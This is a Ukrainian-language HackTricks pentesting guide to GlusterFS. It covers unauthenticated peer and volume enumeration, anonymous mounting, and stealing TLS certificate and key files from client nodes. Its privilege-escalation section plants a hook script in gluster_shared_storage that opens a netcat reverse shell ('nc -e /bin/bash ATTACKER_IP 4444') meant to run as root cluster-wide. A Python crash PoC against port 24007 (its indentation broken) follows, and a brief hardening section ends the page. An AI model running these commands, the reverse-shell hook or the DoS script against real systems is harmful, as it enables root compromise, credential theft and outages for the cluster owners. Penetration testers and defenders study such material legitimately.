24007-24008-24009-49152 - Pentesting GlusterFS

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Basic Information

GlusterFS - це розподілена файлова система, яка об'єднує зберігання з кількох серверів в один уніфікований простір імен. Демон управління (glusterd) за замовчуванням слухає на 24007/TCP і інструктує цеглини даних, які починаються з 49152/TCP (один порт на цеглину, з інкрементом). Версії до 9.x використовували 24008–24009/TCP для транспорту цеглин, тому ви все ще зустрінете ці порти в спадкових кластерах.

PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)

Порада: 24007 відповідає на RPC виклики, навіть коли вузли лише для зберігання не експортують жодного обсягу; отже, сервіс є надійною ціллю для півотування в великих інфраструктурах.

Перерахування

Встановіть клієнтські утиліти на вашій атакуючій машині:

bash
sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu
  1. Виявлення пір та стан
bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
  1. Розвідка обсягу
bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
  1. Монтувати без привілеїв
bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster

Якщо монтування не вдається, перевірте /var/log/glusterfs/<vol_name>-<uid>.log на стороні клієнта. Загальні проблеми:

  • Примус TLS (option transport.socket.ssl on)
  • Контроль доступу на основі адреси (option auth.allow <cidr>)

Виправлення сертифікатів

Викрадіть наступні файли з будь-якого авторизованого вузла клієнта та помістіть їх у /etc/ssl/ (або в каталог, вказаний у журналі помилок):

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

Відомі вразливості (2022-2025)

CVEПідприємства версіїВпливПримітки
CVE-2022-4834010.0–10.4, 11.0Використання після звільнення в dht_setxattr_mds_cbk, доступне через мережуВіддалений DoS та ймовірний RCE. Виправлено в 10.4.1 / 11.1.
CVE-2023-26253< 11.0Читання за межами буфера в обробнику сповіщень FUSEВіддалений збій через спеціально підготовлені операції FS; доступний публічний PoC.
CVE-2023-3775< 10.5 / 11.1Неправильна перевірка дозволів при монтуванні gluster_shared_storageДозволяє будь-якому неавтентифікованому клієнту монтувати об'єм адміністратора – призводить до priv-esc, пояснено нижче.

Завжди перевіряйте gluster --version на кожному вузлі; гетерогенні кластери є звичайними після часткових оновлень.

Експлуатація gluster_shared_storage (Ескалація привілеїв)

Навіть у нових версіях багато адміністраторів залишають спеціальний об'єм gluster_shared_storage доступним для читання всім, оскільки це спрощує гео-реплікацію. Об'єм містить шаблони cronjob, які виконуються з root на кожному вузлі.

bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss

# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh

# 3. Wait until glusterd distributes the hook and executes it as root

Якщо hooks/1/ не присутній, шукайте /ss_bricks/ – точний шлях може змінюватися в залежності від основної версії.

Denial-of-Service PoC (CVE-2023-26253)

python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())

Запуск скрипта призводить до аварійного завершення glusterfsd < 11.0.


Укріплення та виявлення

  • Оновлення – поточна LTS версія 11.1 (липень 2025). Всі CVE вище виправлені.
  • Увімкніть TLS для кожного блоку:
bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
  • Обмежте клієнтів за допомогою списків CIDR:
bash
gluster volume set <vol> auth.allow 10.0.0.0/24
  • Відкрийте порт управління 24007 лише на приватному VLAN або через SSH тунелі.
  • Слідкуйте за журналами: tail -f /var/log/glusterfs/glusterd.log та налаштуйте функцію audit-log (volume set <vol> features.audit-log on).

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks